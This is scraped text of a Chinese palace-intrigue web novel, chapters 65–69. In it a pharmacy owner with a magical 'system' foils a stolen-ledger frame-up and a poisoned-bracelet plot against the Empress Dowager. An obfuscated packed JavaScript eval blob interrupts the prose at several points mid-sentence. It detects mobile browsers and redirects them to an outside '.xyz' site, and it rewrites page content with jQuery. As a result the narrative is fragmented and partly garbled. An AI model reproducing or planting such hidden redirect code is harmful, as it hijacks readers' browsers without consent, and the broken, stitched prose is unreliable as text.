l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777452|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她押回姜府,给老夫人一个交代。” 侯夫人忙摆了摆手,强笑道:“王妃言重了,好在并未酿成大祸。” 姜绾歌吩咐侍卫将姜莲押回姜府,并特意叮嘱道:“告诉老夫人,姜莲今日在侯府的所作所为,已将姜府的脸面丢尽。还妄图攀附权贵,简直痴心妄想。” 姜府内,老夫人得知此事后,气得浑身发抖。她怒目圆睁,猛地一拍桌子,桌上的茶盏都跟着震颤:“这个孽女!做出这等丑事,让姜府蒙羞!来人,将她关进祠堂,罚抄一百遍佛经,好好反省!” 姜莲被押进祠堂时,还在哭哭啼啼地喊着冤枉,可回应她的只有祠堂厚重的关门声。 处理完姜莲的事,姜绾歌回到王府,整个人仿佛换了一副模样,对顾清舟爱答不理。顾清舟本就因姜莲之事心中烦闷,见姜绾歌如此态度,更是觉得自己像被耍弄的猴子,心中的怒火“噌”地一下就冒了起来。 “王妃这是何意?”顾清舟皱着眉头,拦住正准备回房的姜绾歌。 姜绾歌抬眼看了他一下,眼神里满是不屑,冷哼一声道:“王爷何必明知故问?整日里被那等心思不纯的女子蒙蔽,还在众人面前偏袒她,难道不该给个说法?” 顾清舟被噎得说不出话,憋了半天才道:“本王不过是念在她是你妹妹,不想让她太过难堪。” 姜绾歌嘴角勾起一抹嘲讽的笑:“难堪?她做出那般恶毒之事,王爷还护着她,这就是王爷所谓的是非观?这般花心肠的男人,多看一眼都让我觉得恶心。” 说罢,她径直绕过顾清舟,回房后“砰”地一声关上了门,只留下顾清舟一脸铁青地站在原地。 顾清舟望着紧闭的房门,心中又恼又怒,却又不知该如何发作。他堂堂靖王,在这王府之中竟被王妃如此数落,还吃了闭门羹,这让他的面子往哪搁。 他铁青着脸,在原地站了许久,紧握的拳头又松开,最终还是一甩衣袖,带着满心的愤懑与不甘,大步离开。 一路上,侍从们见他脸色阴沉,都吓得纷纷避让,大气都不敢出。 第65章 药材掺假 长公主微微一笑,仪态万千地从轿中走出,轻轻扶起姜绾歌:“姜姑娘不必多礼,本宫听闻你一心筹备药铺,心怀仁善,致力于为百姓谋福祉,特来捧场。” 姜绾歌感激地说道:“殿下谬赞,能得殿下支持,是药铺之幸。日后还望殿下多多提点。” 长公主环顾四周,点头称赞:“看这布置,便能感受到姜姑娘的用心。相信药铺定会生意兴隆。” 两人正说着,礼部侍郎夫人王氏也在一众丫鬟的簇拥下前来。她笑意盈盈,老远就伸出手拉住姜绾歌:“姜姑娘,我可是盼着这一天许久了,对那养生讲座心心念念呢。” 姜绾歌笑着回应:“夫人能来,是我们的荣幸。养生讲座定会不负夫人期待。” 随后,赵鹤年馆主和几位城中有名的医者也纷纷到场。众人相互见礼后,一同走进药铺。 此时,药铺外已围满了百姓。他们听闻有众多贵人到场,还有义诊活动,都好奇地张望着。姜绾歌站在药铺门口,深吸一口气,高声宣布:“今日,药铺正式开张!愿以精湛医术、优质药材,为大家的健康保驾护航!” 随着鞭炮声噼里啪啦响起,义诊正式开始。大夫们各就各位,认真地为百姓们看诊。姜绾歌则在一旁留意着情况,确保一切顺利进行。 “神奇口碑丹”也在此时发挥了神奇功效。服用丹药的患者,仿佛被施了魔法一般,对药铺赞不绝口。他们拉着身边的人,激动地讲述着药铺的好:“这家药铺真是良心啊,大夫医术高超,药材看着就地道,而且态度还好!” “是啊是啊,我这**病,吃了他们给的药,立马就感觉好多了!” 这些称赞声就像长了翅膀,迅速在人群中传开。越来越多的百姓被吸引过来,原本就热闹的药铺门口,变得更加拥挤。 长公主在药铺内四处参观,对药铺的布局和药材的品质都十分满意。她对姜绾歌说道:“姜姑娘,你这药铺无论是从筹备还是如今的开张来看,都井然有序,足见你的能力。日后若有什么困难,尽管告知本宫。” 姜绾歌连忙谢过长公主。她知道,长公主的支持不仅能为药铺带来名气,更是一种无形的保障。 义诊活动持续进行着,大夫们虽然忙碌,但因为有“医术速成秘籍”的助力,面对各种病症都游刃有余。他们耐心地为百姓诊断病情,细心地讲解注意事项,赢得了百姓们的一致好评。 中午时分,姜绾歌邀请长公主、王氏夫人以及各位医者到后堂休息,并准备了丰盛的午宴。宴会上,大家欢声笑语,纷纷对药铺的未来表示期待。 姜绾歌站起身来,举起酒杯:“今日药铺能顺利开张,离不开各位的支持与帮助。姜绾在此敬大家一杯,感谢大家的厚爱。希望在今后的日子里,我们能携手共进,让药铺为更多的人带来健康。” 众人纷纷举杯,一饮而尽。 午后,姜绾歌安排账房先生统计义诊的情况和开支。同时,她与养生讲师再次确认了讲座的细节,确保下午的养生讲座能够顺利进行。 养生讲座的场地就设在药铺的后院,经过精心布置,摆放了整齐的桌椅,还准备了精美的茶点。未到开场时间,就已经有不少贵妇在丫鬟的陪同下陆续前来。 姜绾歌亲自迎接她们,并引导入座。王氏夫人更是忙前忙后,帮助姜绾歌招呼客人。 讲座开始,养生讲师生动地讲解着养生知识,从日常饮食的搭配到不同季节的养生要点,深入浅出,让贵妇们听得津津有味。姜绾歌在一旁适时地介绍药铺的养生产品,巧妙地将产品与养生知识相结合,引得贵妇们纷纷询问购买。 讲座结束后,贵妇们意犹未尽,围着姜绾歌和养生讲师交流着。姜绾歌还为贵妇们准备了小礼品,里面装着一些药铺自制的养生丸和药材小样。贵妇们对这份贴心的礼物十分满意,纷纷表示会常来药铺。 傍晚,药铺结束了一天的营业。姜绾歌看着忙碌了一天的伙计们和大夫们,心中满是感激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777455|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她让账房先生给大家发了红包,以表感谢。 回到靖王府,姜绾歌虽然疲惫,但眼神中却透着兴奋与满足。系统的声音适时在她脑海中响起:“宿主,今日药铺开张可谓大获成功。不过,想要维持这份繁荣,还需继续努力。” 姜绾歌笑道:“我知道,今天只是个开始。接下来,我要按照计划,定期举办医学讲座,完善会员制度,让药铺越来越好。” 系统回应道:“不错,宿主有此决心,未来可期。对了,宿主可根据今日的经营情况,总结经验,以便后续更好地运营药铺。” 姜绾歌点头,坐在桌前,拿起纸笔,开始记录今天药铺开张的各项情况,从义诊的人数、病症种类,到养生讲座的反响、产品的询问度等等,她都详细地记录下来。 夜深了,靖王府一片静谧。姜绾歌看着记录满页的纸张,心中已有了更明确的方向。 姜绾歌的药铺开张后,生意火爆得超乎想象。每日从清晨到傍晚,店里始终人头攒动。 顾客们皆是冲着药铺优良的药材与精湛的医术而来,姜绾歌满心欢喜的同时,却没料到危机正悄然降临。 不久后,姜绾歌察觉到药铺的药材出现异常。以往抓出的药疗效显著,可近来总有顾客反映服药后效果不佳。 姜绾歌心中一紧,立刻借助系统检测。检测结果让她大为震惊,有人竟在药材中偷偷掺假。姜绾歌愤怒不已,这药材关乎人命,究竟是谁如此胆大妄为。 姜绾歌指尖捻着几片混在当归里的劣质艾叶,系统光幕在眼前闪烁:【检测到人为掺假,溯源线索指向太医院】。窗外的晨光透过雕花窗棂,在她紧蹙的眉间投下细碎的光影。 小姐,这已经是第三批问题药材了。丫鬟白芷捧着账本的手在发抖,今早又有病人来闹,说药效不对... 砰! 姜绾歌突然将药碾砸在案几上,惊得檐下麻雀扑棱棱飞走。她抓起披风就往外走:备马,我要进宫。 第66章 平妻之位 御书房·午后 顾明轩正在批阅奏折,忽闻一阵熟悉的沉水香飘来。抬头时,姜绾歌已经掀开珠帘闯了进来,发间还沾着未化的雪粒。 顾明轩很惊讶,姜绾歌第一次来宫里找他,他嘴角刚扬起来,就听到姜绾歌一来就劈头盖骂。 陛下倒是沉得住气。她将一包药材掷在龙纹御案上,太医院的人往我药铺掺假,您管是不管? 顾明轩用朱笔挑开药包,眼神骤然冷厉。笔尖在淑妃二字上洇开猩红墨迹:来人。 阴影处立刻闪出黑衣侍卫:主子? 让大理寺少卿...话未说完,姜绾歌突然按住他执笔的手:打草惊蛇有什么用?她俯身时,一支金镶玉步摇垂在帝王眼前轻晃,不如我们... 而在姜府这边,姜莲刚刚解除禁足。她本就对姜绾歌心怀嫉妒,听闻姜绾歌的药铺日进斗金,更是妒恨交加,心里像堵了一块大石头,憋闷得难受。 这日,姜莲心情烦躁地在花园里闲逛。路过一处花丛时,听到两个洒扫丫鬟在小声议论。 一个丫鬟说:“靖王爷昨儿在醉仙楼当众说了,要娶就娶姜大小姐这样的,能掌家、会算账,那本事,啧啧。” 另一个丫鬟附和着,还瞥了眼姜莲所在的方向,阴阳怪气地说:“依我看啊,有些人,就算姓姜也是白搭,跟大小姐比起来,差远喽。” 姜莲听了,气得脸一阵红一阵白,牙齿咬得咯咯响,心里的怒火“噌”地一下就蹿了起来。她转身就走,脚下的石子被踢得乱飞。 就在姜莲气冲冲走出府的时候,淑妃的心腹宫女乔装成香客,悄悄跟了上来。那宫女左右看了看,见没人注意,便凑到姜莲跟前,轻声说:“姜二小姐,我们娘娘有请。” 姜莲一愣,狐疑地看着她:“你们娘娘?淑妃找我何事?” 宫女笑了笑,压低声音说:“娘娘说,若您能拿到姜绾歌药铺的账本,娘娘便有法子让靖王收您入府。您想想,要是成了靖王妃,谁还敢小瞧您?” 姜莲眼中闪过一丝惊喜与犹豫,可一想到靖王,想到自己能借此扬眉吐气,便咬咬牙,狠狠地点头:“好,我答应。你们可别骗我。” 宫女笑着说:“我们娘娘一言九鼎,自然不会骗您。您只管把账本弄来,其他的娘娘自有安排。” 姜莲握紧拳头,仿佛看到了自己成为靖王妃后,姜绾歌那副失魂落魄的模样,嘴角不禁浮起一丝得意的笑。 慌乱中,姜莲不小心被地上的门槛绊倒在地,账本散落了一地。姜莲惊恐地看着四周,眼中满是绝望。就在她觉得自己要被抓住的时候,淑妃派来的几个帮手突然出现。他们身形矫健,几下就打倒了几个冲在前面的伙计,掩护姜莲捡起账本,匆匆逃离了药铺。 快拦住她! 一声厉喝划破药铺后院的寂静。姜莲抱着账本夺门而出时,绣鞋突然绊在乌木门槛上。啊!她整个人向前扑去,账册哗啦啦散落在青石板上。 月光下,她看见五六个持棍伙计从回廊包抄过来。 完了...姜莲颤抖着去抓最近的账本,指甲在石板上刮出刺耳声响。突然三道黑影从墙头翻下,最前头的蒙面人一脚踹翻追得最近的伙计。 走!来人一把拽起她,声音像是含着碎瓷片般嘶哑。 姜莲被推着往角门跑时回头望去,见那人反手抽出腰间软剑,寒光闪过之处,伙计们的棍棒断成两截。血珠溅在货真价实的匾额上,像极了父亲寿辰时点的朱砂。 姜府偏院里。 东西呢? 芭蕉叶的影子在窗纸上摇晃,姜莲这才发现淑妃派来的宫女早等在闺房里。她慌忙从怀中掏出账本,却带出几片当归残叶——是摔倒时从药柜沾的。 宫女用两根手指拈起账本,仿佛在拎什么脏东西:娘娘说了,三日后未时,带着王爷的玉佩到醉仙楼天字房。 等等!姜莲抓住对方袖口,您答应过的平妻之位... 急什么?宫女甩开她的手,冷笑声像毒蛇吐信,等姜绾歌因""做假账""入狱,靖王难道会娶个罪女?说罢翻窗消失在夜色中。 姜莲扑到妆台前,铜镜映出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777456|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她潮红的面颊。 指尖抚过褪色的绢花,恍惚看见自己戴着九凤冠的模样。 窗外突然传来猫头鹰的啼叫,惊得她打翻了胭脂盒。 烛火摇曳,映着姜绾歌指尖轻点的那本假账册。 东家,他们上钩了。白芷推门而入,发梢还沾着夜露,姜莲带着账本往淑妃宫里去了。 姜绾歌唇角微勾,指尖在账册边角一捻,竟揭起一层薄如蝉翼的纸页——底下露出真正的账目。 这假账做得如何?她将账册递给暗处坐着的人。 顾明轩接过,指腹摩挲过那些刻意做旧的墨迹:连辽东松烟墨都仿出来了,爱卿好大的手笔。 他低笑一声,不过,这‘错处’未免太明显了些。 就是要明显。姜绾歌端起茶盏,雾气氤氲中,她眼底闪过一丝锐色,淑妃多疑,若账本做得天衣无缝,她反而不信。 茶盖轻叩盏沿,清脆一声响。 大理寺那边安排好了?她问。 顾明轩合上账册,烛光在他眸底跳跃:朕让周少卿亲自去盯,淑妃宫里那个叫青荷的宫女,嘴巴可不怎么严实。 大理寺暗牢。 奴婢、奴婢什么都不知道!青荷被按在刑凳上,腕上金镯叮当乱响。 大理寺少卿周砚慢条斯理地翻开一册案卷:三月廿六,你戌时出宫,在姜府后巷见了谁? 奴婢只是去取绣线...... 是吗?周砚从袖中抽出一方帕子,抖开——正是姜莲常用的苏绣,这帕子上的‘莲’字,和淑妃娘娘赏你的荷包,针脚一模一样。 青荷脸色煞白。。 本官再问一次,周砚俯身,声音轻得发冷,淑妃让你传什么话? 姜府这边,姜莲坐在房里。 二小姐,您真要信淑妃娘娘?贴身丫鬟春杏惴惴不安地递上热茶,若事情败露...... 姜莲一把打翻茶盏:闭嘴!滚水溅在裙裾上,她浑然不觉,只死死攥着那枚偷来的靖王玉佩,等姐姐下了狱,王爷难道还会惦记一个罪女? 第67章 真假账本 窗外忽有夜枭啼叫,凄厉一声。 春杏打了个寒颤:可、可奴婢听说,大理寺在查宫里人...... 怕什么?姜莲冷笑,指尖抚过假账册上朱红的印鉴,这上面白纸黑字记着她的罪证,她还能翻出天去? 她没注意到,账册边角沾着的当归碎叶,正幽幽散着药香。 御花园暗处。 都安排妥了?顾明轩负手而立。 暗卫跪地呈上一封密信:青荷已招供,姜莲身边的丫鬟也留了话柄。 皇帝接过信笺,就着月光扫过,忽然轻笑:‘若事情败露,便说是姜莲栽赃’?他指尖一搓,信纸化作齑粉。 夜风掠过树梢,惊起几只寒鸦。 暗卫迟疑道:陛下,淑妃娘娘若狗急跳墙...... 那正好。顾明轩掸去袖上碎屑,眸色比夜色更沉,朕等的就是她跳墙。 姜绾歌得知账本被盗后,虽怒火中烧,但面上依旧云淡风轻。她有条不紊地安排药铺的伙计们继续手头的工作,仿佛什么都没发生。待众人各归其位,她把平日里机灵的小伙计阿福叫到了后堂。 后堂里,烛火摇曳。姜绾歌神色严肃,低声对阿福说:“阿福,从今日起,你多留意药铺周围的动静,要是看到什么形迹可疑的人,或是有什么不寻常的事儿,立马来告诉我。” 阿福胸脯一挺,坚定地回答:“小姐您放心,我一定盯紧了!那些贼人竟敢来咱们药铺捣乱,我定不会放过任何蛛丝马迹。” 姜绾歌拍了拍阿福的肩膀,嘱咐道:“不可莽撞行事,一切以自身安全为重。若是发现情况,不要轻举妄动,先回来报信。” 阿福点点头,转身出去执行任务。姜绾歌看着他的背影,眼神中透露出一丝决绝与冷静,心中暗自思量着如何应对这一场阴谋。 而在皇宫的淑妃宫里,淑妃正坐在华丽的贵妃榻上,手中摆弄着账本,脸上露出得意的笑容。站在一旁的姜莲,眼神中满是期待与兴奋。 淑妃瞥了一眼姜莲,慢悠悠地说:“姜莲,你这次可算是立了大功。有了这账本,不愁扳不倒姜绾歌。到时候,靖王娶了你,你可得好好感谢本宫。” 姜莲连忙福身,讨好地说:“娘娘大恩,莲儿没齿难忘。若真能如娘娘所言,莲儿日后定当为娘娘马首是瞻。” 淑妃冷笑一声:“哼,那姜绾歌还以为自己有多厉害,竟敢在本宫眼皮子底下把药铺经营得风生水起。这次,本宫要让她知道,跟本宫作对没好下场。等她药铺倒了,身败名裂,靖王自然就会看上你。” 姜莲眼中闪过一丝嫉妒与怨恨,咬牙切齿地说:“姜绾歌一向自命不凡,这次看她还怎么得意。只要能成为靖王妃,莲儿什么都愿意做。” 淑妃满意地点点头:“你先回去等着,本宫自有安排。这几日行事小心些,别露出马脚。” 姜莲应了一声,满心欢喜地告退。她走出宫门,一路上都在幻想着自己成为靖王妃的风光场景。 她想着自己身着凤冠霞帔,在众人羡慕的目光中走进靖王府,姜绾歌则在一旁黯然失色。想到这儿,姜莲忍不住笑出声来。 姜莲沉浸在美梦之中,丝毫没有意识到危险正悄然降临。 回到姜府后,她每日都在焦急地等待着淑妃的消息,满心期待着淑妃能尽快利用账本将姜绾歌扳倒,好让自己顺利成为靖王妃。 而姜绾歌这边,阿福时刻留意着药铺周边的动静。一日午后,阿福神色匆匆地跑到后堂,气喘吁吁地对姜绾歌说:“小姐,我瞧见有几个陌生人在药铺附近鬼鬼祟祟地转悠,时不时还往药铺里张望,看着十分可疑。” 姜绾歌心中一凛,思索片刻后说道:“看来淑妃那边要有所动作了。阿福,你继续盯着他们,千万别打草惊蛇。若他们有进一步行动,立刻回来告知我。” 阿福领命而去。姜绾歌则陷入沉思,她知道,一场暴风雨即将来临,自己必须做好万全准备。她迅速派人给顾明轩送去密信,告知他药铺附近出现可疑人员的情况。 与此同时,淑妃在宫中也开始了她的谋划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777457|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她招来几个心腹太监,低声吩咐道:“你们拿着这本账册,去找御史台的王大人,就说这是姜绾歌药铺做假账、欺瞒百姓的铁证,让他明日早朝**姜绾歌。记住,此事一定要办得机密,不能走漏半点风声。” 太监们领命后,小心翼翼地捧着账本离开了淑妃宫。 第二日清晨,早朝之上,御史台王大人出列,手举账册,义正言辞地启奏道:“陛下,臣有要事参奏。近日听闻靖王妃姜绾歌所开药铺,表面为百姓治病救人,实则内里做假账,欺瞒众人,谋取暴利。这是罪证,请陛下明察!” 顾明轩佯装惊讶,接过账册翻阅起来,心中却暗自冷笑。 “陛下,姜绾歌如此行径,实在有违律法,理应严惩!”王大人继续说道。 朝堂之上,大臣们纷纷交头接耳,议论纷纷。就在这时,姜绾歌身着素服,从容地走进朝堂。她先是向顾明轩行礼,然后说道:“陛下,民女冤枉。这本账册是有人故意陷害民女,还望陛下明鉴。” 顾明轩看着姜绾歌,神色威严地问道:“姜氏,你有何证据证明这是陷害?” 姜绾歌不慌不忙地从袖中掏出一本账册,说道:“陛下,这才是药铺真正的账本,之前那本是有人偷走药铺账本后,篡改伪造的。为了引出幕后黑手,民女将计就计,故意让他们以为拿到了真账本。” 顾明轩接过姜绾歌呈上的账本,仔细比对后,脸色一沉:“大胆狂徒,竟敢在朝堂之上伪造证据,陷害他人。来人,彻查此事,务必找出幕后指使!” 大理寺少卿周砚出列:“陛下,臣已经查明,此事乃是淑妃指使姜莲所为。淑妃嫉妒姜绾歌药铺生意兴隆,又想扶持姜莲成为靖王妃,以扩大自己的势力,故而想出此等毒计。” 说罢,周砚呈上了从淑妃宫女青荷以及姜莲丫鬟处得到的供词。 顾明轩龙颜大怒:“淑妃身为后宫妃嫔,不思贤良淑德,竟做出此等恶毒之事,实在有辱后宫尊严。来人,将淑妃打入冷宫,姜莲也一并收押,听候发落!” 第68章 太后驾到 金銮殿内,檀香缭绕。姜绾歌垂首立于殿中,一个蝴蝶图案在腕间泛着温润的光。 突然,殿外传来一阵骚动,打破了原本肃穆的气氛。 陛下!不好了!掌事太监**跌跌撞撞冲进殿内,官帽歪斜地挂在头上,太后娘娘的凤驾已经到了宣德门,说是...说是听闻淑妃娘娘受了天大的委屈... 顾明轩手中的朱笔啪地折断,墨汁在奏折上晕开一片暗色。他抬眼看向殿门方向,眉头几不可察地皱了一下。 姜绾歌指尖轻抚腕间,眼前突然浮现系统光幕:【警告!关键人物太后介入,剧情偏离度30%,建议立即启动B计划】。 她唇角微扬,这场戏,终于要进入高潮了。 殿外传来整齐的脚步声,十二名宫女手持鎏金宫灯缓步而入。 太后扶着苏嬷嬷的手迈进殿门,九凤金步摇在额前晃动,折射出冰冷的光芒。 她身着正红色凤袍,衣摆上金线绣制的凤凰在行走间栩栩如生。 哀家倒要看看——太后的声音不大,却让满朝文武齐刷刷跪了一地,是谁要动哀家亲自选进宫的淑妃? 满朝文武齐刷刷跪倒,额头贴地。 姜绾歌随着众人行礼,垂眸时却敏锐地注意到,太后织金凤纹裙裾下摆沾着几点新鲜的泥渍,绣鞋的云纹滚边还带着草屑,发髻略显松散,连唇脂都有些晕开。 看来这位太后娘娘是听闻风声后,连仪容都顾不上整理就匆匆从五台山赶回来了。 原来三个月前,太后因一场怪病久治不愈,太医们束手无策。 恰逢五台山高僧入宫讲经,断言太后是宫中浊气太重,需往佛门清净地静养百日方能痊愈。 为表孝心,淑妃主动请缨陪同前往,临行前特意献上那串开过光的翡翠玉镯,说是高僧加持过的宝物,能助太后早日康复。 太后感其孝心,不仅准了淑妃随行,更将协理六宫之权暂交其代管。 谁曾想,这竟是淑妃精心设计的局。 那玉镯根本不是什么佛门宝物,而是用硝石浸泡过的毒物。 母后。顾明轩起身行礼,声音沉稳如常,淑妃伪造账册证据,陷害忠良... 证据?太后突然抓起案上的账册朝姜绾歌掷去。账册在空中划过一道弧线,擦过姜绾歌的鬓角,啪地打落了她发间一支珍珠簪。 殿内瞬间安静得落针可闻。那支精致的南海珍珠簪滚落在大理石地面上,发出清脆的声响。 姜绾歌缓缓蹲下身,葱白的指尖轻轻拾起簪子。她忽然轻笑出声:太后娘娘这手劲,倒比年轻人还利索。 指尖抚过簪上的裂痕,她抬眸时眼中带着几分玩味,可惜了这上好的南海贡珠,竟比不上娘娘腕上那串翡翠的成色。 太后瞳孔猛地收缩,下意识用宽大的袖口遮住手腕。 那里正戴着一串冰种翡翠镯子,正是淑妃上月进献的寿礼。 这个细微的动作没有逃过姜绾歌的眼睛,系统立即弹出光幕:【翡翠镯扫描完成,检测到硝石残留,已存档】。 你!淑妃猛地从太后身后蹿出来,尖利的声音在殿内回荡,竟敢窥探凤体!大逆不道! 姜绾歌不慌不忙地将珍珠簪插回发间,歪头道:淑妃娘娘误会了。只是臣女经营药铺,对玉石药性略懂一二。 她忽然上前半步,声音压低却足够让殿内每个人都听清,这翡翠...是用硝石煮过的吧?长期佩戴会让人脾气暴躁呢。 太后的脸色瞬间变得煞白。苏嬷嬷急忙上前扶住她摇晃的身形,却听姜绾歌继续道:《本草纲目》有载,硝石性烈,久佩令人肝火旺盛。娘娘近日是否常感心烦气躁?夜间难以安眠?晨起口干舌燥? 太后的手不自觉地抚上胸口。这些症状她确实都有,太医院只说是旅途劳顿所致... 胡说八道!淑妃厉声打断,涂着丹蔻的指甲直指姜绾歌,这翡翠是本宫亲自从江南采买的贡品,怎会有问题?姜绾歌,你休要血口喷人! 姜绾歌不疾不徐地从袖中取出一卷泛黄的绢帛:巧了,臣女近日正好得了一本《珍玩录》。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777458|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她纤细的手指缓缓展开绢帛,指着其中一页道,这里详细记载了前朝有位贵妃,也是戴了硝石煮过的翡翠后性情大变... 她故意停顿了一下,目光扫过太后铁青的脸色:最后,竟疯癫到在御膳中下毒,害**当时的太子。 殿内顿时一片哗然。几位年迈的老臣已经开始交头接耳,看向淑妃的眼神都带上了怀疑。 血口喷人!淑妃猛地扑向姜绾歌,却被顾明轩一个眼神制止。两名侍卫立刻上前将她拦住。 太后死死盯着姜绾歌手中的绢帛,声音发颤:这...这当真是《珍玩录》?她认得这绢帛的质地和装帧,分明是宫中秘藏的式样。 姜绾歌从容不迫地将绢帛呈上:娘娘若不信,不妨让太医院验看这镯子。她意味深长地补充道,硝石遇热会泛红,用烛火一试便知。 太后颤抖着手褪下腕间的翡翠镯子,交给身旁的苏嬷嬷。 当烛火靠近玉镯时,令人毛骨悚然的一幕出现了。 原本翠绿的玉镯内竟泛起诡异的红纹,像血丝一般蔓延开来,在烛光下显得格外刺目。 天啊!几位靠得近的大臣忍不住惊呼出声。 **!太后猛地甩开淑妃来搀扶的手,凤眸中燃起怒火,你竟敢谋害哀家! 淑妃瘫软在地,涕泪横流:臣妾冤枉啊!这...这定是姜绾歌做了手脚!一定是她调换了镯子! 姜绾歌抚掌轻笑:娘娘这话有趣。难道臣女还能未卜先知,算准太后娘娘今日会戴这镯子?她转向太后,语气诚恳,不过太后明鉴,硝石翡翠要浸泡三月才见效,看来...有人早就存了心思呢。 太后的目光在淑妃和姜绾歌之间来回游移,最终颓然坐回凤座,整个人仿佛瞬间老了十岁。她疲惫地挥了挥手:来人,把淑妃带下去... 母后!淑妃凄厉地喊道,您不能听信谗言啊!这一定是姜绾歌的诡计! 姜绾歌站在原地,唇角挂着若有若无的笑意。系统光幕在眼前闪烁:【任务完成度80%,请继续推进剧情】。 第69章 事情出现反转 太后疲惫地揉了揉太阳穴,目光却若有所思地落在姜绾歌身上。殿内烛火摇曳,映照着她那张不施粉黛却格外清丽的面容。 姜姑娘。太后突然开口,声音里已不见方才的怒意,你且随哀家到慈宁宫走一趟。 满朝文武闻言皆是一惊。淑妃被拖出去时还在哭喊的声音戛然而止,不可置信地瞪大眼睛。 姜绾歌福身行礼,指尖不着痕迹地划过腕间系统:臣女遵命。 走出金銮殿时,太后忽然驻足,望着姜绾歌发间那支珍珠簪:这南海珍珠成色极好,哀家年轻时也曾得过一支相似的。 姜绾歌眸光微闪,系统立即弹出提示:【太后年轻时最爱珍珠首饰】。她轻抚簪子,温声道:娘娘慧眼如炬,这确实是上好的南海珠。 太后的眼神明显柔和了几分:你倒是识货。 系统光幕急速闪烁:【好感度提升,建议使用S级道具安神香】。姜绾歌另一只手悄然探入袖中,取出一只精致的鎏金香囊。 臣女斗胆,这"安神香"是药铺秘制,专治心神不宁。她将香囊呈上,娘娘近日受惊,或可一试。 太后接过香囊,一缕清雅的幽香飘散而出,混合着沉香与菊花的独特气息。她深深吸了一口气,紧皱的眉头竟不自觉地舒展开来:这香气... 此香以沉香为君,白菊为臣,佐以安神的合欢皮。姜绾歌解释道,最宜平心静气。 太后紧紧攥着香囊,突然对身旁的苏嬷嬷道:去把哀家那套**头面取来。又转向姜绾歌,你随哀家到暖阁说话。 慈宁宫暖阁内,太后拉着姜绾歌坐在窗边的罗汉榻上。宫女们奉上的茶点都是御膳房特制的,连盛放的器皿都是罕见的青玉盏。 哀家听说你的药铺在朱雀大街?太后抿了口茶问道。 回娘娘,正是。铺名"杏林春",专营药材与成药。 太后若有所思:难怪你对玉石药性如此了解。她突然压低声音,那镯子...哀家这些日子确实觉得身子不适... 姜绾歌立即会意:娘娘若信得过臣女,臣女愿为娘娘诊脉。 太后欣然伸出手腕。姜绾歌三指搭上脉搏,系统立即开始扫描:【检测到慢性硝石**,伴有轻度肝损伤】。 娘娘需要调理肝气。她收回手,从腰间锦囊中取出一个小瓷瓶,这是"清肝明目丸",每日一粒,连服七日。 太后接过瓷瓶,忽然笑道:你这丫头倒是伶俐。哀家听说你还懂养生之道? 姜绾歌垂眸浅笑:略通皮**。家传的《养生方》记载了些调理之法。 太后闻言来了兴致:哦?说来听听。 比如这季节,宜饮菊花枸杞茶,可清肝明目。姜绾歌说着,从袖中取出一个小纸包,这是臣女自配的茶方,娘娘不妨试试。 太后接过茶包,放在鼻尖轻嗅:香气倒是特别。 这时苏嬷嬷捧着个紫檀木匣回来,太后亲自打开,取出一套精美绝伦的**头面:这个赏你了。 姜绾歌连忙起身推辞:这太贵重了... 收着。太后强硬地将匣子塞进她手里,**最是养人,正配你这般聪慧的姑娘。 系统突然弹出提示:【**头面价值连城,太后珍藏多年】。姜绾歌心下了然,郑重行礼:臣女谢娘娘赏赐。 太后满意地点头,又对苏嬷嬷道:去把库房里那对羊脂玉如意,还有那十二匹云锦都取来。转向姜绾歌时,眼中满是欣赏,你既开了药铺,这些料子正好做几身新衣裳。哀家看你穿青色定然好看... 离开慈宁宫时,姜绾歌身后跟着一长串捧着赏赐的宫女。系统光幕闪烁着:【太后好感度+50,当前关系:亲近】。 